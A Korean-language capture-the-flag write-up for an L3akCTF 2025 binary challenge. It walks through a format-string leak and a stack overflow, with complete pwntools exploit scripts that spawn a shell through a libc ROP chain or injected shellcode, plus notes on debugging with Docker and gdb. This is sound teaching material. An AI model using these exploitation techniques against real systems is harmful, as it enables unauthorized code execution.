L3akctf 2025 writeup
문제 설명
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = time(0LL);
srand(v3);
setuser();
nhonks = rand() % 91 + 10;
if ( guess() )
highscore();
else
puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
return 0;
}
이 문제는 일단 처음 출력되는 ‘hook’이라는 문자가 랜덤한 개수로 출력되고, 이 개수가 몇개인지를 입력해야 다음으로 넘어갈 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int highscore()
{
char buf[128]; // [rsp+0h] [rbp-170h] BYREF
char s[128]; // [rsp+80h] [rbp-F0h] BYREF
_BYTE v3[32]; // [rsp+100h] [rbp-70h] BYREF
char format[80]; // [rsp+120h] [rbp-50h] BYREF
strcpy(format, "wow %s you're so good. what message would you like to leave to the world?");
printf("what's your name again?");
__isoc99_scanf("%31s", v3);
s[31] = 0;
sprintf(s, format, v3);
printf(s);
read(0, buf, 0x400uLL);
return printf("got it. bye now.");
}
개수가 일치하면 ‘highscore()’라는 함수 안으로 이동되는데, 출력에서 ‘printf(s)’를 사용하고 있어 format string bug가 일어난다.
1
2
3
4
5
6
7
8
[*] '/mnt/c/Users/s25ng/Downloads/chall (4)/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
PIE가 켜져 있기때문에 FSB를 이용해서 libc를 leak한 뒤 system함수로 덮어씌우는 ROP를 구성해서 익스플로잇할 수 있다고 추측하고 시도하였다.
일단 제공된 Dockerfile에서 libc를 추출하여 이용해야 됐기 때문에 이미지로 컨테이너를 생성한 뒤 내부로 들어갔다.
이때 환경구성한 컨테이너로 계속해서 익스 시도 후 분석을 해야하는데, 다음과 같이 하면된다.
1
2
3
4
5
$ docker build -t leakpwn .
$ docker run -d --name leakpwncon -p 16004:5000 leakpwn
$ docker run -it --entrypoint /bin/sh leakpwn
$ /lib/libc.so.6 //libc 버전 확인
$ docker cp <container_id>:/lib/libc.so.6 ./libc.so.6
그리고 코드를 작성하였는데,
highscore() 함수 구조가
1
2
3
4
char buf[128]; // [rbp - 0x170]
char s[128]; // [rbp - 0xF0]
char v3[32]; // [rbp - 0x70]
char format[80]; // [rbp - 0x50]
위처럼 되어있으므로 필요한 패딩은 0x170(buf 시작) + 8(saved RBP) = 376 byte이다.
따라서 코드를 구성해보면
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import time
from ctypes import CDLL
context.log_level = 'debug'
libc = ELF('libc.so.6')
rop = ROP(libc)
#p = process('./chall')
#p = remote('34.45.81.67', 16004)
p = remote('localhost', 16004)
libc_CDLL = CDLL('libc.so.6')
seed = int(time.time())
libc_CDLL.srand(seed)
nhonks = (libc_CDLL.rand() % 91) + 10
p.sendlineafter(b'> ', b'K')
p.sendlineafter(b'honks?', str(nhonks).encode())
p.sendlineafter(b'name again?', b'%57$p')
leak = p.recvuntil(b'message')
leak = leak.decode().strip()
addr_str = leak.replace("wow ", "").split()[0]
libc_leak = int(addr_str, 16)
libc_offset = 0x2a1ca
libc_base = libc_leak - libc_offset
log.success(f"libc leak = {hex(libc_leak)}")
log.success(f"libc base = {hex(libc_base)}")
pop_rdi_ret_offset = rop.find_gadget(['pop rdi', 'ret'])[0] - libc.address
binsh_offset = next(libc.search(b'/bin/sh')) - libc.address
system_offset = libc.symbols['system'] - libc.address
ret_offset = rop.find_gadget(['ret'])[0] - libc.address
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
pop_rdi_ret = libc_base + pop_rdi_ret_offset
ret = libc_base + ret_offset
payload = b'A' * 376
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
p.send(payload)
pause()
p.interactive()
이렇게 되는데,
결과적으로 이 방법은 실패했다.(결국 성공해서 밑에 내용 추가…)
실패 원인 분석 방법(환경)
그래서 원인분석을 해야했는데, 까먹을 수 있으니까
docker서버에 익스를 보내고 gdb로 attach 하는 과정 기록
1
2
3
4
5
FROM pwn.red/jail
COPY --from=ubuntu / /srv
ENV JAIL_CPU=100 JAIL_MEM=20M JAIL_TIME=30 JAIL_CONNS_PER_IP=1
COPY chall /srv/app/run
COPY flag.txt /srv/
제공된 Docerfile에 JAIL_TIME이 30초로 되어있어 30초마다 실행이 종료되므로 이를 3000으로 수정 후 진행하였다.
‘/jail/run’으로 인한 권한문제 때문에 –privileged 모드로 생성하였다.
1
docker run --rm -it --privileged --name leakpwncon -p 16004:5000 leakpwn
터미널 하나에 이렇게 입력해두고 계속 켜두면 서버는 계속 켜져있으므로 익스를 시도할 수 있다.
1
p = remote('localhost', 16004)
도커 서버를 열어두면 열어둔 포트로 remote를 통해 익스를 보낼 수 있는데,
원하는 부분에
1
pause()
를 넣어두어야 gdb로 attatch할 수 있는 시간을 벌 수 있다.
익스 코드에서 payload를 전송하기 전 pause()를 걸면
1
2
3
4
5
6
7
8
9
10
$ python3 ex5.py
[*] '/mnt/c/Users/s25ng/Downloads/chall (4)/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 195 cached gadgets for 'libc.so.6'
[+] Opening connection to localhost on port 16004: Done
[*] Paused (press any to continue)
동작이 멈추는데
이때 다른 터미널을 열고
1
2
3
4
$ docker top afb1574888a2
UID PID PPID C STIME TTY TIME CMD
ksm 51069 51050 0 19:11 pts/0 00:00:00 /jail/nsjail -C /tmp/nsjail.cfg
ksm 51100 51069 0 19:11 ? 00:00:00 /app/run
위의 명령어를 통해 컨테이너ID를 확인한다.
1
$ gdb -p 51100 ./chall
원하는 부분에 bp를 걸고 pause가 걸린 터미널에서 enter를 치면 페이로드가 전송되며 gdb로 확인할 수 있다.
실패 원인 분석
gdb로 확인해 본 결과
RIP에서 Segfault가 났는데,
vmmap을 통해 확인한 결과 libc base는 0x7f1862ed000이었고, 입력된 RIP와 오프셋을 확인해보니 0x27725가 나왔다.
1
pop_rdi_ret = libc_base + 0x27725
추출한 libc를 통해 pop rdi의 오프셋을 확인했을 때 0x27725이므로 의도된대로 잘 실행되었으나
해당 오프셋 안에 있는 값은 pop rdi가 아닌 전혀 다른 가젯이었다.
/bin/sh 가젯으로 의도했던 오프셋도 전혀 다른 값이 들어있었다.
1
2
libc_offset = 0x2a1ca
libc_base = libc_leak - libc_offset
익스 코드 실행 결과 구해진 libcbase와 , gdb로 확인했을 때 vmmap도 일치한데 이유를 잘 모르겠다..
Stack leak으로 exploit 성공
익스 시도 방법을 변경했다.
NX가 걸려있지 않기 때문에
libc leak이 아닌 stack leak을 시도하고,
‘A’로 패딩을 채운 다음 버퍼 시작 주소를 확인하고,
leak한 주소와의 오프셋을 계산하면 ret 위치를 버퍼 시작주소로 덮을 수 있다.
쉘크래프트를 통해 시작주소에 쉘코드를 넣고, 패딩을 채운 뒤 ret위치에 stackleak-0x2b8을 넣어주면 익스가 될 것이라고 추측했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
import time
from ctypes import CDLL
context.log_level = 'debug'
context.arch = 'amd64'
libc = ELF('libc.so.6')
rop = ROP(libc)
#p = process('./chall')
p = remote('34.45.81.67', 16004)
#p = remote('localhost', 16004)
libc_CDLL = CDLL('libc.so.6')
seed = int(time.time())
libc_CDLL.srand(seed)
nhonks = (libc_CDLL.rand() % 91) + 10
p.sendlineafter(b'> ', b'K')
p.sendlineafter(b'honks?', str(nhonks).encode())
p.sendlineafter(b'name again?', b'%15$p')
leak = p.recvuntil(b'message')
leak = leak.decode().strip()
addr_str = leak.replace("wow ", "").split()[0]
stack_leak = int(addr_str, 16)
shell = asm(shellcraft.sh())
payload = shell
payload += b'A'*(0x178 - len(shell))
payload += p64(stack_leak - 0x2b8)
#pause()
p.sendlineafter(b'?', payload)
p.interactive()
실행 결과 성공
libc leak 왜 안됐는지 다시 분석 해보기
1
2
3
*RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7ffdd1417530 —▸ 0x7faf69642031(의도는 /bin/sh) ◂— bsf eax, eax
*RIP 0x7faf694d3725 ◂— 0x0 (의도는 pop rdi)
0x7faf694d3725가 pop rdi 명령어여야 하는데, 전혀 다른 명령어가 있다.
1
2
x/i 0x7faf694d3725
=> 0x7faf694d3725: add BYTE PTR [rax],al
binsh 오프셋도 정확한데 이상한 값이 들어있다
1
2
3
4
5
6
7
p/x 0x7faf69642031 - 0x7faf694ac000
$4 = 0x196031
x/s 0x7faf69642031
0x7faf69642031: "\017\274\300H\203\357_H\001\370\351", <incomplete sequence \331>
x/i 0x7faf69642031
0x7faf69642031: bsf eax,eax
그래서 libc leak한 주소 내부 값을 로컬에서 찾아서 오프셋 계산을 해보기로 함
libc leak한 주소 내부 값
1
2
x/i 0x7faf694d61ca
0x7faf694d61ca: mov edi,eax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
objdump -D libc.so.6 --start-address=0x2a1b0 --stop-address=0x2a1f0
libc.so.6: file format elf64-x86-64
Disassembly of section .text:
000000000002a1b0 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x2360>:
2a1b0: 8b 4c 85 00 mov 0x0(%rbp,%rax,4),%ecx
2a1b4: 0f c9 bswap %ecx
2a1b6: 89 0c 83 mov %ecx,(%rbx,%rax,4)
2a1b9: 48 83 c0 01 add $0x1,%rax
2a1bd: 48 39 c7 cmp %rax,%rdi
2a1c0: 75 ee jne 2a1b0 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x2360>
2a1c2: 48 c1 e7 02 shl $0x2,%rdi
2a1c6: 48 8d 0c 3b lea (%rbx,%rdi,1),%rcx
2a1ca: 48 01 fd add %rdi,%rbp
2a1cd: 48 8b 04 24 mov (%rsp),%rax
2a1d1: 48 89 28 mov %rbp,(%rax)
2a1d4: 49 39 ea cmp %rbp,%r10
2a1d7: 74 38 je 2a211 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x23c1>
2a1d9: 48 8d 41 04 lea 0x4(%rcx),%rax
2a1dd: 48 39 c6 cmp %rax,%rsi
2a1e0: 73 2f jae 2a211 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x23c1>
2a1e2: 48 39 ce cmp %rcx,%rsi
2a1e5: 0f 85 48 01 00 00 jne 2a333 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x24e3>
2a1eb: 48 39 f3 cmp %rsi,%rbx
2a1ee: 0f 85 jne 2a0e0 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x2290>
1
2a1ca: 48 01 fd add %rdi,%rbp
2a1ca 위치에 “mov edi,eax”가 있어야 하는데, 진짜 다른값이 들어있다..
아무래도 도커에서 libc추출을 잘못한 것 같다..
1
2
3
find / -name "libc.so.6" 2>/dev/null
/srv/usr/lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6
진짜네…
/srv/usr/lib/x86_64-linux-gnu/libc.so.6
이걸 추출해야 하는데
그냥 /lib 경로 들어가서 라이브러리 확인하고
/lib/libc.so.6 이걸 추출해서 쓰고 있었다..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import time
from ctypes import CDLL
context.log_level = 'debug'
libc = ELF('./libc.so.6')
rop = ROP(libc)
#p = process('./chall')
p = remote('34.45.81.67', 16004)
#p = remote('localhost', 16004)
libc_CDLL = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
seed = int(time.time())
libc_CDLL.srand(seed)
nhonks = (libc_CDLL.rand() % 91) + 10
p.sendlineafter(b'> ', b'K')
p.sendlineafter(b'honks?', str(nhonks).encode())
p.sendlineafter(b'name again?', b'%57$p')
leak = p.recvuntil(b'message')
leak = leak.decode().strip()
addr_str = leak.replace("wow ", "").split()[0]
libc_leak = int(addr_str, 16)
libc_offset = 0x2a1ca
libc_base = libc_leak - libc_offset
log.success(f"libc leak = {hex(libc_leak)}")
log.success(f"libc base = {hex(libc_base)}")
pop_rdi_ret_offset = rop.find_gadget(['pop rdi', 'ret'])[0] - libc.address
binsh_offset = next(libc.search(b'/bin/sh')) - libc.address
system_offset = libc.symbols['system'] - libc.address
ret_offset = rop.find_gadget(['ret'])[0] - libc.address
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
pop_rdi_ret = libc_base + pop_rdi_ret_offset
ret = libc_base + ret_offset
payload = b'A' * 376
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
pause()
p.send(payload)
p.interactive()
성공..










